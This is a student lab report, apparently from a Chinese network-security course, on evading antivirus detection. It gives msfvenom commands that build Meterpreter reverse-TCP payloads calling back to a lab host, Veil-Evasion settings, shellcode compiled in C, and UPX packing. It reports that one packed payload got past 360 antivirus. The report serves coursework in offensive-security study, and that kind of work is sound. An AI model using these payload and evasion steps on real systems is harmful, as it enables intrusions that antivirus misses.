20155217《网络对抗》Exp03 免杀原理与实践
实践内容
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
- 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)。
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 首先先把上次的后门放在virscan.org上检测一下(有些需要重命名才能检测)。
- 发现查杀率还是比较高的。
- 尝试使用msf进行多次编码,发现编码次数再多,也没什么实质性的变化,均不能实现免杀。
- 生成jar
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.199.137 lport=5217 x> ydshell.jar
- 下载并安装
veil-evasion
。这个过程出现的各种错误让人崩溃= =,这里推荐安装教程和使用教程!是亲亲杜可欣同学推荐的,用过的人都说好!
- 打开
tools/Veil/
,运行Veil.py
成功。
- veil启动后,依次输入:
use python/meterpreter/rev_tcp
set LHOST 192.168.199.137
set LPORT 5217
generate
- Please enter the base name for output files (default is \'payload\'):
veil5217
- 选择
1
- 发现并不能生成Python语言的可执行文件QAQ。
- 于是和很多同学一样,换了一个语言
use c/meterpreter/rev_tcp.py
,重复上面的操作,发现很是ok,可以生成可执行文件啦。
- 把Veil生成的小程序放在Win10下,被马上发现了= =。
- 再把它放在网站上扫描一下,结果...唉。
利用shellcode编程实现免杀
- 首先关闭win10防火墙和杀毒软件,ping通,可以回连成功。
- 使用
msf
生成一个C语言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.137 LPORT=5217 -f
- 尝试使用交叉编译,但结果无法运行。
- 在win10中下载VS并安装,选择
桌面C++
开发,继续安装。 - 把shellcode写成
c文件
,编译生成的exe文件
存放在Debug
文件夹里。
- 尝试回连,成功。
- 生成的exe文件放在网站上检测一下(竟然只是警惕而已哎)。
通过组合应用各种技术实现恶意代码免杀
- 压缩壳UPX压缩VS生成的exe文件
upx 5217shellcode.exe -o 5217shellcode.upxed.exe
- 加壳后查杀率竟然提高了!!等等,这不就是传说中的画蛇添足了嘛,摆明了告诉人家:我是穿了壳的恶意代码,不要来查杀我哦!
- 此时打开了我的360杀毒以及安全管家,立马被清除了= = 。
- 说明
shellcode Vs编译+压缩壳
实现不了免杀。 - 于是我尝试了对在Veil下产生的
exe文件
进行压缩壳操作。
- 360杀毒竟然没有发现!稀里糊涂莫名其妙地实现了免杀??
基础问题回答
- 杀软是如何检测出恶意代码的?
分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码。
- 免杀是做什么?
使恶意代码避免被查杀,也就是要掩盖恶意代码的特征。
- 免杀的基本方法有哪些?
- 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
- 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
离实战还缺些什么技术或步骤?
现在每台计算机都至少装有一个防火墙或杀毒软件进行定期的查杀清理,成功的概率会越来越小。另外,这次实现免杀不具有普适性,说实话,我自己也感到有些不可思议。
实践总结与体会
一定要多问同学!一定要多问同学!一定要多问同学!重要的事情说三遍。像这次的免杀方法,少不了同学们的集思广益,还有这次的veil下载安装,如果没有同学的帮助,指不定我还在哪里走着弯路呢!